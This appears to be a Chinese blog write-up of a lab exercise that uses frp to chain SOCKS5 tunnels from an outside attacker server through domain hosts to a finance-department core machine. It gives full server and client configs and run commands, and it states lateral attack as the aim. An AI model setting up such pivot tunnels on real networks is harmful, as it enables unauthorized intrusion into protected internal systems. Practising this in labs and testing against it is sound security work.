前言
最近在跟师傅学习有关内网的知识 了解了frp隧道的搭建与利用 这里准备复现一下隧道的搭建过程与利用方式
Frp链接:https://github.com/fatedier/frp/releases/tag/v0.34.3
注:Frp是一个搭建隧道的专用脚本 存在客户端与服务端 在进行内网穿透时能起到一个很好效果
这里我将使用frp对内网穿透进行复现
拓补图:注:(IP地址不太一样需自行比对)
复现过程
1、一级网络环境
服务端
- \/PS:[common]
- bind_addr = 0.0.0.0 #本地IP
- bind_port = 7788 #开放与客户端连接的端口
- frps.exe -c frps.ini
复制代码
客户端
- 域普通用户:# frpc.ini
- [common]
- server_addr = 192.168.253.11 #\/PS
- server_port = 7788 #与\/PS服务器开放端口一致
- [http_proxy]
- type = tcp #类型
- remote_port = 7777 #通过socks5连接到\/PS服务器端口进行数据传输
- plugin = socks5
- frpc.exe -c frpc.ini
复制代码
验证成功:
2、二级网络环境
环境:
A:/PS服务器:192.168.174.147 (
win7系统模拟)
B:子域普通用户:192.168.174.141和10.10.3.100
C:子域控制器:10.10.3.10和10.10.21.0/24
注:内网C主机不能直接连接/ps 可以连接内网B主机 B主机可以直接连接/ps
所以通过B作为跳板 将socks代理建设在内网C主机中后!
(1)首先在/PS服务器上开启端口
- 服务端
- \/PS:[common]
- bind_addr = 0.0.0.0
- bind_port = 7788 #开放与客户端连接的端口
- frps.exe -c frps.ini
复制代码
2,在子域用户与子域之间构造一级隧道
在子域普通用户开启端口
- 子域用户服务端
- Frps.ini设置:[common]
- bind_addr = 10.10.3.100 #子域用户本地IP
- bind_port = 7799 #开放与客户端(子域)连接的端口
- frps.exe -c frps.ini
复制代码
- 子域客户端
- # frpc.ini
- [common]
- server_addr = 10.10.3.100 #服务器的IP地址
- server_port = 7799 #连接到子域服务器开放的端口,且与子域服务器端口一致
- [http_proxy]
- type = tcp #协议类型
- remote_port = 1080 #通过socks5连接到子域用户服务器端口进行数据传输
- plugin = socks5
- frpc.exe -c frpc.ini
复制代码
- 子域用户客户端
- # frpc.ini
- [common]
- server_addr = 192.168.174.147 #\/PS服务器
- server_port = 7788 #与\/PS服务器爆出端口一致
- [http_proxy]
- type = tcp
- local_ip = 10.10.3.100 #访问的ip可以是内网任何一个ip
- local_port = 1080 #本地端口(根据协议修改)
- remote_port = 1080 #\/PS远程服务器的ip端口
- frpc.exe -c frpc.ini
复制代码
验证成功:
3、三级网络环境
A:/PS服务器:192.168.174.147
B:子域普通用户:192.168.174.150和10.10.3.100
C:子域控制器:10.10.3.10和10.10.21.5
D:财务部独立子域:10.10.21.2和172.16.5.2
E:财务部核心区机器:172.16.5.5
注:内网E核心区主机不能直接连接/ps,可以连接内网D主机 内网D主机不能直接连接/ps 可以连接内网C主机
内网C主机不能直接连接/ps,可以连接内网B主机,B主机可以直接连接/ps,所以通过B作为跳板 将socks代理
建设在内网C主机中后 将打通隧道进行横向攻击核心区机器!开始!!
(1)首先在/PS服务器上开启端口
/PS服务器
- 服务端
- \/PS:[common]
- bind_addr = 0.0.0.0
- bind_port = 7788 #开放与客户端连接的端口
- frps.exe -c frps.ini
复制代码
(2)子域控制器与财务部独立子域建立一级隧道
子域控制器
- 服务端
- [common]
- bind_addr = 10.10.21.5 #本地IP地址
- bind_port = 7799 #开放与客户端(财务部核心系统)连接的端口
- frps.exe -c frps.ini
复制代码
3,财务部独立子域,
- 客户端
- [common]
- server_addr = 10.10.21.5 #子域控制器服务器的IP地址
- server_port = 7799 #连接到子域服务器开放的端
- [http_proxy]
- type = tcp
- remote_port = 7766#通过socks5连接到子域控制器端口进行数据传输
- plugin = socks5
- frpc.exe -c frpc.ini
复制代码
(4)子域普通用户与子域控制器搭建二级隧道
子域普通用户
- 服务端
- # frpc.ini
- [common]
- bind_addr = 10.10.3.100
- bind_port = 7755 #开放与子域控制器连接的端口
复制代码
子域控制器
- # frpc.ini
- [common]
- server_addr = 10.10.3.100 #子域普通用户IP
- server_port = 7755 #与子域普通用户开放端口相同
- [http_proxy]
- type = tcp
- local_ip = 10.10.21.5 #本地IP 访问的ip可以是内网任何一个ip
- local_port = 7766 #本地端口(根据协议修改)
- remote_port = 7766 #子域普通用户的7766端口
复制代码
5,子域普通用户与/PS服务器构建三级隧道,
- # frpc.ini
- [common]
- server_addr = 192.168.174.147 #\/PS服务器IP
- server_port = 7788 #与\/PS服务器开放端口一样
- [http_proxy]
- type = tcp
- local_ip = 10.10.3.100 #
- local_port = 7766 #本地端口(根据协议修改)
- remote_port = 7766 #\/PS服务器端口
- frpc.exe -c frpc.ini
复制代码
验证:可以进行远程登录